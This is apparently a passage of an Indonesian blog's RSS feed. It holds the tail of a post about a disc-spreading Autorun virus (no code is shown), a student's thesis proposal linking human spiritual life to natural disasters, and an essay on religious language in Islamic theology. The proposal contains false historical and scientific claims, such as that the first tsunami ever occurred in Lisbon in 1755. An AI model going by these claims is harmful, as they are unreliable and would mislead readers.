Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan).  Ada juga code untuk menghilangkan virus ini kli saja &lt;a href=&quot;http://kammisupel08.blogspot.com/2008/06/mengambil-hikma-dari-dunia-maya.html&quot;&gt;di sini&lt;/a&gt;&lt;/span&gt;</description><link>http://slendangwetan29.blogspot.com/2008/06/code-yang-berbahaya.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-6442755963554934644</guid><pubDate>Thu, 01 May 2008 18:41:00 +0000</pubDate><atom:updated>2008-09-20T01:19:39.036-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kreasi</category><title>Gambaran Skripsiku</title><description>&lt;div style=&quot;color: rgb(51, 51, 51);&quot; align=&quot;center&quot;&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;LEMBAR PERSETUJUAN&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;Proposal Skripsi dengan judul&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 204, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;PENGARUH PERUBAHAN ALAM MIKRO (MANUSIA)&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;TERHADAP PERURUBAHAN ALAM MAKRO (ALAM SEMESTA)&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;yang diajukan oleh&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;RANGGA RAMDAN SYAH&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;NIM: E01205005&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 204, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 204, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;Telah disetujui oleh Jurusan Aqidah Filsafat IAIN Sunan Ampel Surabaya dengan dosen pembimbing:&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;1. …………………………………………………………….&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;2. …………………………………………………………….&lt;/span&gt;&lt;span style=&quot;color: rgb(102, 102, 102);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 204, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Surabaya, tanggal……………………&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Ketua Jurusan Aqidah Filsafat&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Drs.Lukisno&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.1 Latar Belakang Masalah&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Sejak akhir tahun 2006 banyak sekali bencana alam yang bersusulan terjadi di Negara Kesatuan Republik Indonesia. Mulai dari badai besar di Aceh atau yang disebut oleh para ahli Meteologi dan Geofisika sebagai tsunami yang meluluh lantakan sebagian besar kewilayahan Aceh dan negara Asia tenggara lainnya. Kebanyakan terjadi tsunami diwilayah samudara pasifik, terutama di Jepang dan Hawai.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Dalam sejarah tsunami pertamakali terjadi di Lisboa ibu kota Portugal pada tanggal 1 November 1755 dan menelan korban 60.000 jiwa. Kemudian di Indonesia pada tanggal 26 Agustus 1883, terjadi letusan Gunung Krakatau dan tsunami yang menewaskan lebih dari 36.000 jiwa. Bukan hanya bencana stunami saja yang terjadi akhir-akhir ini seperti banjir yang hampir seperti tradisi orang Jakarta, longsor, gunung meletus. Apa lagi sekarang hampir diperkirakan seluruh wilah Jawa terkena banjir, seperti Bojonegoro, Mediun, Trenggalek, Lamongan dan sebagainnya. Yang jadi pertannya kita apa yang menjadi penyebab ketidak teraturannya alam ini bahkan badan studi meteologi dan geofisika sulit untuk memprediksi datangnya gempa bahkan salah memprediksikannya, contoh nyata yang barusan terjadi tentang status Gunung Kelud yang dinyatakan dalam status awas, yang dimana dalam keadan ini diperkirakan gunung tersebut akan meletus. Namun pada kenyaatannya anak Gunung Krakatau yang dalam status siaga justru meletus.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Menanggapi ketidak teratruran dan seringnya bencana alam yang diakibatkan pemanasan global banyak elemen-elemen masyarakat atau aktivis pencintaa alam mengkampanyekan untuk melestarikan lingkungan dengan menamam pepohonan seperti apa yang telah di lakukan oleh Mahasiswa Perta Surabaya, dan juga tentang penggurangan gas karbondioksida yang dapat menipiskan atmosfer.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Pemanasan global adalah kejadian meningkatnya temperatur rata-rata atmosfer, laut dan daratan Bumi. Planet Bumi telah menghangat (dan juga mendingin) berkali-kali selama 4,65 milyar tahun sejarahnya. Pada saat ini, Bumi menghadapi pemanasan yang cepat, yang oleh para ilmuan dianggap disebabkan aktifitas manusia. Penyebab utama pemanasan ini adalah pembakaran bahan bakar fosil, seperti batu bara, minyak bumi, dan gas alam, yang melepas karbondioksida dan gas-gas lainnya yang dikenal sebagai gas rumah kaca ke atmosfer. Ketika atmosfer semakin kaya akan gas-gas rumah kaca ini, ia semakin menjadi insulator yang menahan lebih banyak panas dari Matahari yang dipancarkan ke Bumi. Jadi intinya Bumi kita memanas karena sinar matahari yang sudah masuk ke bumi kita tidak bisa keluar lagi karena gas-gas rumah kaca tadi membentuk lapisan di atmosfer yang memantulkan sinar matahari tadi.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Dalam padangan para ulama atau kaum agamawan, banyaknya bencana yang terjadi termasuk di Indonesia yang terjadi bersusulan ini bahwkan diperkirakan pulau jawa akan tenggelam__itu karen murka Tuhan atau balak atau Adzab dari Allah SWT. Di mana orang zaman sekarang menurut kaum agamawan__banyak melakukan ma’syiat dan menjauh dari Tuhan sehingga murka-Nya lah yang bicara.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Jadi kalau kita lihat beberapa pendapat elemen-elemen masyarakat baik secara ilmiah atau pandangan dari ilmuwan dan dari sudut pandang kaum agamawan, faktor penentu yang mengakibatkan ketidak serasian alam semesta hingga mengakibatkan bencana dimana-mana ialah manusia sebagai subjek untama atau kator utama dalam keseruatan alam ini.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.2 Rumusan Masalah&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Berpijak dari uraian yang telah dikemukakan pada latar belakang masalah, dapat dirumuskan masalah yang akan diteliti dalam hal ini adalah bagaimana keterkaitan antara manusia yang secara filosofis adalah alam mikro dengan alam makro atau alam jagat raya ini.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.3 Batasan Masalah&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Pada Pengeruh Perubahan Alam Mikro (manusia) terhadap Perubahan Alam Makro (Alam semesta) ini diberikan pembatasan masalah sebagai berikut:&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;· Pengaruh perubahan manusia yang ditilik sebatas dari pola hidup atau pandangan hidup (way of life ).&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;· Pandang hidu atau pola hidup manusia sebatas dari intensitas pritualitas seseorang dan juga Psiologi seseorang tersebut.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;· Metode yang dipakai adalah Fenomenologi Husserl sertya menggunakan kajian pustaka.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.4 Tujuan Penelitian&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Tujuan penelitian ini adalah untuk mengetahui seberapa signifikankah pengaruh perubahan manusia baik secara psikologis dan psiritual seseorang terhadap perubahan alam semesta yang akhir-akhir ini mengalami perubahan yang berdampak kepada nasip menusia di muka bumi ini.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.5 Manfaat Penelitian&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Manfaat penelitian ini antara lain sebagai masukan dan memperkaya pengetahuan mahasiswa terutama mahasiswa dan masyarakat pada umumnya sehingga dapat merubah pandangan hidup (way of life) masyarakat atau pola hidupnya yang cenderung individualis dan berorientasikan kepada kesenangan semata (hidonis) sehingga menghilanggkan aspek spiritualitas yang mempengaruhi psikologi sesorang yang tidak mudah terkontrol.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.6 Metode Penulisan&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;Metode sejarah atau cara memperoleh informasi dalam penelitian ini adalah dengan melihat fenomena masyarakat sertab melihat gejala alam dan ditambah dengan kajian pustaka atau teori-teori yang mengungkapkan jatidiri manusia yang mempunyai keterikan terhadap alam raya.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;1.7. Daftar Pustaka&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;­__Hikmah-hima Serat Jayabaya, (diterjemahkan dari; Lesson from Jayabaya ); Nirwana, Yogyakarta 2003.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;__Brouwer,M.A.W., Alam Manusia dalam Fenomenologi, PT Gramedia, Jakarta 1988.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;__Hadi,P. Hardono., Jatidiri Manusia Berdasarkan Filasafat Organisme Whitehead, Kanisisus, Yogyakarta 1996.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;__Khan, Hazrat Inayat., Dimensi Spiritual Psikologi, Pustaka Hidayah, Bandung 1981.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;_Suryadipura, R.Paryana., Manusia dengan atomnya dalam Sehat dan Sakit (antropologi bersarkan Atomfisika), Bumi Aksara, Jakarta 1994.&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;_Kitab Tai Shang Lao Jun Zhen Jing&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;_Kitab Tao&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;_Kitab Erl Lang Shen cen ci&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51);&quot;&gt;_Primbon&lt;/span&gt;</description><link>http://slendangwetan29.blogspot.com/2008/05/gambaran-skripsiku.html</link><author>noreply@blogger.com (SlendangWetan)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-4900001859775731928</guid><pubDate>Thu, 01 May 2008 18:35:00 +0000</pubDate><atom:updated>2008-05-01T11:39:41.754-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Makalah Filsafat Islam Kontemporer</category><title>Bahasa AGAMA</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6JyufCatvBxu19pXToFWP2v4B33qm4mi8EU2K-03RNLYzMHEdVwJsDnOVPLI5Tlgza_KYKhNCvnROc1wxuahOYC39bKUz6z-HH0lNc1AhdqKkg3JsbhCE0d5kEL3IuTc0MKznY7W18Ec/s1600-h/ayat+ci2.jpg&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6JyufCatvBxu19pXToFWP2v4B33qm4mi8EU2K-03RNLYzMHEdVwJsDnOVPLI5Tlgza_KYKhNCvnROc1wxuahOYC39bKUz6z-HH0lNc1AhdqKkg3JsbhCE0d5kEL3IuTc0MKznY7W18Ec/s200/ayat+ci2.jpg&quot; border=&quot;0&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5195480433508241618&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;&lt;span&gt;&lt;span&gt;Mukadimah&lt;br /&gt;Salah satu dari subyek penting pembahasan dalam ranah teologi dan filsafat agama adalah analisa dan observasi tentang bahasa agama serta mekanisme pemahaman dan penguraian agama. Pembahasan yang berhubungan dengan hal tersebut, dengan menimbang perjalanan perubahannya dari zaman Yunani kuno hingga sekarang ini dimana mengalami perubahan-perubahan yang cukup kompleks, hadirnya analisa-analisa yang semakin membuahkan pertentangan dan perbedaan serta terungkapnya pertanyaan-pertanyaan yang cukup rumit dan akurat, seperti Apakah bahasa agama bermakna atau tidak bermakna? Apakah bahasa agama dapat ditetapkan, dibatalkan dan ditegaskan dengan tolok ukur ilmiah dan empirik ataukah tidak? Apa hubungannya dengan bahasa ilmiah, akhlak, filsafat dan seni? Apakah bahasa agama mempunyai satu dimensi atau memiliki dimensi-dimensi yang beragam? Apakah bahasa agama hanya mengulas alam realitas ataukah memberi motivasi dan menarik hati? Bagaimana dapat memahami bahasa agama dan mengantarkan kepada hakikat dan substansi agama?[1]&lt;br /&gt;Berhubungan dengan persoalan-persoalan tersebut di atas, terdapat pertanyaan-pertanyaan klasik dalam ilmu kalam (teologi) tentang ketuhanan, bagaimana memahami dan menganalisa makna yang homonim antara Tuhan dengan manusia atau yang dinisbahkan terhadap maujud-maujud materi. Apakah sifat-sifat ini mempunyai makna umum dimana makna manusia diperoleh karena dipredikasikan kepada Tuhan? Ataukah mempunyai makna yang lain? Pertanyaan ini awalnya ditujukan kepada sifat-sifat ketuhanan, tetapi selanjutnya berkembang meliputi seluruh pernyataan-pernyataan keagamaan sehingga menghadirkan kerisauan dan problematika baru; sebagaimana yang diisyaratkan, pertanyaan-pertanyaan seperti: Apakah proposisi-proposisi dan keyakinan-keyakinan agama mempunyai makna ataukah sama sekali tidak bermakna? Mempunyai makna yang dapat dipahami ataukah tidak dapat dipahami? Memiliki makna simbolis ataukah makna aplikatif dan berdimensi pada pengungkapan perasaan? Dan banyak lagi bentuk pertanyaan-pertanyaan lain seperti di atas yang membutuhkan jawaban-jawaban yang serius dan memuaskan.[2]&lt;br /&gt;Adapun faktor-faktor yang menjadikan bahasa agama menjadi urgen dibahas oleh para teolog dan filosof (muslim dan non-muslim) adalah sebagai berikut:&lt;br /&gt;&lt;br /&gt;1. Pentingnya menyingkap makna dan pengertian proposisi-proposisi keagamaan dan ungkapan-ungkapan yang berhubungan dengan Tuhan;&lt;br /&gt;2. Menganalisa sifat-sifat berita (al-khabariyyah) (seperti tangan, wajah, dan…) untuk menjauhi dimensi keserupaan, kematerian dan menghindar dari &quot;kematian&quot; rasionalisasi agama;&lt;br /&gt;3. Menyingkap makna dari sifat-sifat yang sama antara manusia dan Tuhan, seperti ilmu, kodrat, iradah dan…;&lt;br /&gt;4. Kontradiksi antara ilmu dan agama (menurut sebagian pemikir dan ilmuwan agama), dan untuk memecahkan masalah kontradiksi tersebut dihadirkan bahasa agama;&lt;br /&gt;5. Menganalisa dan mengobservasi keyakinan-keyakinan dan proposisi-proposisi keagamaan dengan tujuan memecahkan problematika perselisihan internal agama;[3]&lt;br /&gt;6. Munculnya aliran-aliran khusus filsafat, seperti positivisme, positivisme logikal dan filsafat analitik.&lt;br /&gt;Teori dan Pendekatan Terhadap Bahasa Agama&lt;br /&gt;Dalam mengantisipasi faktor-faktor yang mendasari timbulnya pembahasan tentang bahasa agama (sebagaimana yang disebutkan di atas) maka para teolog dan filosof agama mengutarakan beberapa jalan pemecahan untuk masalah teks agama, penafsiran yang benar terhadap teks, pemecahan kontradiksi yang ada dan ketaksesuaian agama dengan akal dan ilmu. Berkenan dengan masalah tersebut maka kami berusaha dalam tulisan ini mengungkapkan teori dan pendekatan dari teologi dan filsafat Islam dan juga pandangan dari filosof dan teolog Barat dan Kristen:&lt;br /&gt;&lt;br /&gt;a. Pendekatan Teologi Dan Filsafat Islam&lt;br /&gt;Pembahasan tentang bahasa agama dalam Islam bisa ditinjau berdasarkan pemikiran-pemikiran para teolog dan filosof Islam dalam menganalisa dan mengkaji bahasa yang disifatkan kepada Tuhan secara khusus dan bahasa yang dinisbahkan kepada seluruh keyakinan keagamaan secara umum.&lt;br /&gt;Para teolog Islam membagi sifat-sifat Tuhan kepada sifat dzat seperti ilmu, kudrat dan hidup dan sifat berita, seperti wajah dan tangan (sifat-sifat yang diberitakan dalam teks al-Qur&#39;an). Menisbahkan sifat-sifat manusia kepada Tuhan (sifat berita penyerupaan, al-musyabbiyâh), tetapi pada umumnya kaum muslimin menyanggah dan mengkritik mereka dengan dalil dan argumen rasional (al-aql) serta teks suci (an-naql); sebab mustahil menisbahkan kualitas-kualitas insani yang mempunyai dimensi kemakhlukan (mumkin al-wujûd) terhadap Tuhan yang Wâjibul Wujûd.&lt;br /&gt;Asy&#39;ariyyah menafsirkan sifat-sifat tersebut dengan makna umum (pengertian yang digunakan dalam masyarakat secara umum) terhadap Tuhan, tetapi untuk menghindari penyerupaan (at-tasybih,anthropomorphism) mereka berkata, &quot;Sesungguhnya Tuhan memiliki wajah dan tangan tapi tanpa tasybih.&quot;[4]&lt;br /&gt;Kelompok lain dari Asy&#39;ariyyah, di samping menisbahkan sifat-sifat tersebut terhadap Tuhan juga menyerahkan pemaknaan sifat-sifat tersebut kepada Tuhan dengan pengertian bahwa manusia tidak mampu memahami makna-makna dari sifat-sifat berita. Analisa ini juga tidak sesuai dengan kemestian fedeisme (fideism, kecenderungan keimanan) serta informasi dan pengetahuan dari keyakinan-keyakinan keagamaan dan keimanan, dan akan menyebabkan peniadaan pengetahuan terhadap ayat-ayat dan sifat-sifat Tuhan.&lt;br /&gt;Dalam hal ini Mu&#39;tazilah mengemukakan teori penakwilan dan menafsirkankan sifat-sifat berita dengan pengertian yang menyalahi makna-makna lahiriah, sebagai contoh &quot;tangan&quot; ditakwilkan dengan makna &quot;kenikmatan&quot; dan &quot;kekuasaan&quot;. Teori penakwilan Mu&#39;tazilah ini tidaklah sempurna, karena takwil tersebut mesti menyebabkan pergeseran makna dari makna lahiriah kepada makna yang menyalahi makna lahiriah, sedangkan Mu&#39;tazilah memaknai &quot;tangan&quot; dengan &quot;kekuasaan&quot; dimana ia merupakan salah satu dari makna lahiriah &quot;tangan&quot; (jadi tidak terjadi penakwilan).[5]&lt;br /&gt;Pandangan yang lain dari teolog dan ahli ushul fiqih Syi&#39;ah menyatakan bahwa makna kata-kata dibagi atas dua bagian:&lt;br /&gt;&lt;br /&gt;1. Implikasi pengertian (ad-dilâlah at-tashawwuriyah), yang maksudnya adalah pikiran manusia memahami secara langsung makna sebuah kata yang diucapkan oleh seseorang, hadirnya implikasi dari makna kata tersebut terkadang tidak menunjukkan keinginan pembicara.&lt;br /&gt;2. Implikasi kebenaran (ad-dilâlah at-tashdiqiyah), implikasi ini yang menunjukkan kehendak pembicara (implikasi ini juga terbagi dua: penggunaan (al-isti&#39;mâliyah) dan kesungguhan (aj-jiddiyah). Karena pembahasan kita berkenan dengan sifat berita maka ketika dalam al-Qur&#39;an terdapat kata &quot;mata&quot; dan &quot;tangan&quot; tidak harus meninjau kata tersebut dari makna dasarnya semata (ad-dilâlah at-tashawwuriyah), sehingga pemaknaan &quot;mata&quot; dan &quot;tangan&quot; dikonsepsi sesuai dengan makna &quot;mata&quot; dan &quot;tangan&quot; yang ada pada kita, tetapi harus diperhatian pengertian keseluruhan pembicaraan (ad-dilalah at-tashdiqiyah), sebagai contoh ketika seseorang berkata, &quot;Ketika sedang minum teh di restoran saya melihat asad, kata asad dalam bahasa Arab bermakna hewan pemangsa (singa), akan tetapi restoran bukanlah tempat bagi hewan seperti itu, oleh sebab itu kata &quot;restoran&quot; merupakan suatu konteks bahwa yang dimaksud asad adalah manusia yang mempunyai sifat hewan tersebut, yakni sifat keberanian. Dengan kata lain, pembahasan tersebut mempunyai hubungan dengan implikasi tashawwuriyah dan implikasi tashdiqiyah – dan dengan implikasi makna kata dan implikasi konteks kalimat – dan aturan dalam penafsiran tentang pembicaraan seorang pembicara adalah mengikuti implikasi tashdiqiyah dan konteks kalimatnya, bukan implikasi tashawwuriyah dan makna katanya, dalam contoh di atas maknanya adalah laki-laki pemberani (yakni implikasi maknanya bersifat tashdiqiyah dan konteks kalimat).&lt;br /&gt;Di dalam menafsirkan seluruh ayat-ayat yang berhubungan dengan sifat-sifat berita harus mengikuti metode tersebut di atas dan dengan penuh ketelitian meninjau suatu ayat yang termasuk salah satu dari sifat-sifat tersebut dengan menggabungkan dan mengelaborasi ayat-ayat yang serupa sehingga dapat menyampaikan pada maksud Tuhan, mungkin saja kita meninggalkan implikasi tashawwuriyah dan berpegang kepada implikasi tashdiqiyah.[6] Metode ini dapat kita simak dalam kalimat berikut ini: &quot;Tak ada sesuatupun yang menyerupai-Nya&quot; dan kalimat &quot;Tangan Tuhan di atas tangan-tangan 